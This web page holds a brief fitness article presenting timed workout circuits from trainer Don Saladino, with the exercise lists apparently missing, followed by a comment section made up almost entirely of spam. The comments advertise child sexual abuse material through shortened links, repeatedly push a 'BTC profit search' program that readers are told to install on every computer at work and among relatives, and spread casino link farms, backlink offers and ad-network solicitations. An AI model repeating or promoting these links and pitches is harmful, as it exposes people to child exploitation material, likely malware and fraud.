Fitness
No pain no gain
Winter's short days, erratic weather, and bitter temperatures can sap motivation—even for dedicated lifters who consider the gym a second home. And with willpower compromised, the idea of climbing under a Slanket and settling in for a Netflix binge can seem far more appealing than battling soul-sucking cold en route to and from the gym. If you’ve spent the past few months logging marathon workouts on the regular, we say enjoy the additional R & R and the first two seasons of Daredevil. Otherwise, it might be time for a major shakeup because it’s probably more than the weather that’s affecting your motivation.
Whether your routine has grown stale and predictable, it has remained too intense (or merciful) for too long, or you’re simply looking to keep things short and sweet until the weather turns, try tagging in any of these 10 quick-hitting circuits from trainer Don Saladino the next time you consider playing hooky. Saladino, owner of Drive495 health club in New York City, has experience training high-profile clients such as Hugh Jackman, Ryan Reynolds, and other celebrities who operate on a strict time budget. In other words, his circuits will use a limited time frame to extract maximum results. All you need is a willingness to work hard for 20 solid minutes.
So the next time your backyard looks like Hoth and you tell yourself it’s too cold to train, keep the No. 20 in mind. Because if you’re unwilling to put in 20 measly minutes now, once it gets too hot to wear a shirt, you’ll be the guy thinking twice about removing his.
Instructions for High Volume Circuit
Rest 1 minute between rounds.
SALADINO SAYS: “Work for the full 40 seconds on each exercise.
Use light to moderate weight and make sure the last round is very difficult to complete.”
Instructions for Time Under Tension (TUT) Circuit
Rest 30 seconds between rounds.
**5010: Five seconds on the eccentric (lowering) phase, no pause at the midpoint, one second on the concentric (lifting) phase, and no pause at the top.
SALADINO SAYS: “When your time in the gym is limited and your goal is to develop muscularity and strength, employ this routine and its strict 5010 tempo.”
Instructions for Lower Body Circuit
Rest 1 minute between rounds.
SALADINO SAYS: “Expect to shock the lower body and get a lot of blood into your legs without the heavy pounding of maximal weights.”
Instructions for Upper Body Circuit
Rest 40 seconds between rounds.
SALADINO SAYS: “If you’re tired, back off of the intensity and focus on getting blood into the muscle.”
Komentáre
Prehľad komentárov
Hello. And Bye.
Lamaswaks - BTC PROFIT SEARCH AND MINING PHRASES
I want to show you one exclusive program called (BTC PROFIT SEARCH AND MINING PHRASES), which can make you a rich man!
This program searches for Bitcoin wallets with a balance, and tries to find a secret phrase for them to get full access to the lost wallet!
Run the program and wait, and in order to increase your chances, install the program on all computers available to you, at work, with your friends, with your relatives, you can also ask your classmates to use the program, so your chances will increase tenfold!
Remember the more computers you use, the higher your chances of getting the treasure!
DOWNLOAD FOR FREE
Telegram:
https://t.me/btc_profit_search
DavidViarl - cp lolita
cp lolita
==> url.epoch.tw/K9M9j <==
==> s.yjm.pl/3Eea <==
Lamaswaks - BTC PROFIT SEARCH AND MINING PHRASES
I want to show you one exclusive program called (BTC PROFIT SEARCH AND MINING PHRASES), which can make you a rich man!
This program searches for Bitcoin wallets with a balance, and tries to find a secret phrase for them to get full access to the lost wallet!
Run the program and wait, and in order to increase your chances, install the program on all computers available to you, at work, with your friends, with your relatives, you can also ask your classmates to use the program, so your chances will increase tenfold!
Remember the more computers you use, the higher your chances of getting the treasure!
DOWNLOAD FOR FREE
Telegram:
https://t.me/btc_profit_search
RichardRog - Jackpot Bet Online
We bring you latest Gambling News, Casino Bonuses and offers from Top Operators, Online Casino Slots Tips, Sports Betting Tips, odds etc.
https://www.jackpotbetonline.com/
JeremyTotly - Postgazette News Today
Get the latest news, breaking news, sports, entertainment, weather and traffic, as well as national and international news, from the postgazettenewstoday
https://www.postgazettenewstoday.com/
Charlesfus - Hidden Ad Monetization Gems: Discover What Successful Publishers Are Doing Differently
Hey, I visited your site and I think that your content is amazing! It is really engaging and original, you must have worked so hard to generate such a quality content.
My name is Natasha from ForeMedia and I help website owners with great websites to maximize the revenue they make from their website.
I would love to buy Ad Spaces on your website and pay you per each impression of the ads on your site. We are Google Ad Exchange Premium partners and we work with more than 100 Ad Network & thousands of premium direct advertisers who would LOVE to buy Ads directly from your site and we can guarantee to increase your revenue by at least 45% compared to other advertising solutions you are currently using.
You deserve to earn more for your content and maximize your earning potential and I will help you unlock that potential!
There is no cost, you can register to our monetization platform for free on this link: https://foremedia-ads.net
I will be available for you on the Live Chat if you need any help, or you can email me back to: natasha@foremedia-ads.net if you have any questions.
I have at least 17 Premium Advertisers that have asked me to approach you because they would like to advertise on your website on Premium eCPM <cost>per impressions] basis.
Have a good day & feel free to ping me for any question!
Click the link here for 1 minute registration to our platform <it>s free!]: https://foremedia-ads.net
ForeMedia - Earn Money With Your Website
https://foremedia-ads.net
RobertoDam - Discover the Ultimate Guide to Cryptocurrency Exchanges!
Hey everyone! I've just stumbled upon an incredible resource that's all about crypto markets. If you're keen on exploring different cryptocurrency exchanges, this might be the ideal resource for you!
The site (https://cryptoairdrops.ru/) offers detailed reviews of numerous crypto exchanges, including fees, security measures, available cryptocurrencies, and user experience. Whether you're a novice just starting out or an advanced user, there's something for everyone.
What I found particularly helpful was their side-by-side comparisons, which made it super easy to evaluate different exchanges and find the one that best fits my needs. They also cover the latest developments in the crypto world, which keeps you up-to-date on all the critical changes.
If you're curious about exploring different cryptocurrency exchanges, I highly recommend checking this site out. It's a goldmine of information that can help you make informed decisions in the dynamic world of cryptocurrency.
Let's dive into it and exchange tips! Would love to hear your thoughts and experiences with different exchanges as well.
EddieGab - How to feel great every day?
Get all the superfoods from the Mystical Land of India. Buy GMO Free, Ayurvedic, Herbs and Foods. Sourced directly from the farms of Indian farm. Support farmers by contributing to our community.
Mystical India Shop https://mysticalindiashop.com
JamesGab - https://goo.su/ZUHZ
Hello dear friend, I would like to offer placement of your link (or links) on different platforms of the internet such as: forums, blogs, comments and much more. . .
Increase your Visibility Boost Your Seo Rank - Get Organic Traffic From Google. Ranking in Google isn’t hard. All you need is a healthy number of backlinks from referring domains that have authority and trust in Google’s eyes.
This Backlinks Service Benefits:
1. Easily get Google rankings
2. Get a lot of traffic from Google
3. You can earn from the website in different ways
4. Increase Domain Authority (DA)
Quality guaranteed !
PRICE - 20$
WebSite - https://goo.su/ZUHZ
RomNIZ - онлайн казино рулетка отзывы
онлайн казино рулетка отзывы
https://rinafenprint.ru - vava dash cam parts
https://laplandiatour.ru/map1.php - играют в казино за ставки или на ставки
https://pursevalleyshop.ru/map2.php - poison lyrics vav
https://kaminter.ru/map1.php - okullar?n bitmesine kac gun kald?
https://lirtana.ru/map4.php - казино бумеранг проживаие
https://uralavtodor.ru/map2.php - казино маяк принцесс
https://laplandiatour.ru - игровые слоты в казино вулкан способны доставить удовольствие даже самым
https://antonova-center.ru - капчагай фото казино
https://lirtana.ru - казино онлайн развод
https://stellagshop.ru/map2.php - how to flow hood tab on vav systems
Badger Miners Slot: Полное руководство и стратегия выигрыша.
https://h2orikkicleoemma.estranky.sk/clanky/ako-modelky/emma.html#block-comments - почему клубнички в казино вулкан не дают бонусы a8f9a7b
Triptiazer - Triptiazer
This design is incredible! You obviously know how to keep a reader entertained. Between your wit and your videos, I was almost moved to start my own blog (well, almost...HaHa!) Fantastic job. I really enjoyed what you had to say, and more than that, how you presented it. Too cool!
Enyopilt - Hello all!
Určite je škoda sedieť celý deň pri počítači. https://aids.kesug.com -
Tu je miesto, kde diskutujú o tom, ako zvýšiť svoje zdravie proti počítačovému doomscrollingu...
RichardFruck - Guardian News Today
Latest US news, world news, sports, business, opinion, analysis and reviews from the Guardian, the world's leading liberal voice.
https://www.guardiannewstoday.com
KemyNor - Hello!
Možno mimo témy, ale celodenné posúvanie Internetu vás oslabuje z hľadiska zdravia a libida.
Ako to priniesť svojmu priateľovi - to je pre mňa problém..
Triptiazer - Triptiazer
I constantly spent my half an hour to read this blog's posts every day along with a cup of coffee.
Chestercoish - Dokumenty Kolekcjonerskie: Pamięć i Wartość w Świecie Kolekcji
W dzisiejszym zglobalizowanym społeczeństwie, gdzie cyfrowa rzeczywistość staje się coraz bardziej powszechna, dokumenty kolekcjonerskie pełnią rolę nie tylko materialnych artefaktów, ale także strażników pamięci i dziedzictwa. Co sprawia, że te papierowe, czasem wiekowe przedmioty stają się przedmiotem pożądania dla kolekcjonerów? Jak ewoluowały przez lata i jaką rolę odgrywają w dzisiejszym świecie kolekcji?
Początki dokumentów kolekcjonerskich sięgają odległej przeszłości, kiedy to zapisywano ważne wydarzenia na papierze, skórze, czy kamiennej tablicy. Służyły one jako nośniki informacji, świadectwa własności czy też potwierdzenia transakcji. Z biegiem lat, niektóre z nich stały się nie tylko dokumentami, ale i dziełami sztuki, zdobiącymi zbiory pasjonatów historii i kultury.
Jednym z najbardziej cenionych dokumentów kolekcjonerskich są stare mapy geograficzne. Przekładają się one nie tylko na wartość kartograficzną, ale również na historyczne znaczenie. Mapa świata sprzed wieków to okno w przeszłość, które pozwala nam zobaczyć, jak postrzegano świat w dawnych czasach. To jednocześnie zapis zmieniających się granic, odkryć geograficznych i ewolucji społeczeństw.
Innym przykładem dokumentów kolekcjonerskich są stare listy, manuskrypty czy dokumenty autentyczne z ważnych wydarzeń historycznych. Kolekcjonerzy często poszukują rękopisów sławnych pisarzy, które nie tylko stanowią unikatowe dzieła, ale także odsłaniają proces twórczy i myślowy ich autorów.
Wraz z rozwojem technologii, dokumenty kolekcjonerskie przeszły metamorfozę. Obecnie, obok tradycyjnych papierowych dokumentów, coraz bardziej cenione są dokumenty cyfrowe. To mogą być np. unikatowe pliki dźwiękowe, fotografie czy też elektroniczne kopie ważnych dokumentów historycznych. Choć nie posiadają one fizycznej formy, ich wartość tkwi w unikalności i trwałości informacji, które przechowują.
czytaj wiecej https://dobreplastiki.com/pl/
Lamaswaks - BITCOIN MONEY SEARCH SOFTWARE
I want to show you one exclusive program called (BTC PROFIT SEARCH AND MINING PHRASES), which can make you a rich man!
This program searches for Bitcoin wallets with a balance, and tries to find a secret phrase for them to get full access to the lost wallet!
Run the program and wait, and in order to increase your chances, install the program on all computers available to you, at work, with your friends, with your relatives, you can also ask your classmates to use the program, so your chances will increase tenfold!
Remember the more computers you use, the higher your chances of getting the treasure!
DOWNLOAD FOR FREE
Telegram:
https://t.me/btc_profit_search
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
XRumerTest - Test, just a test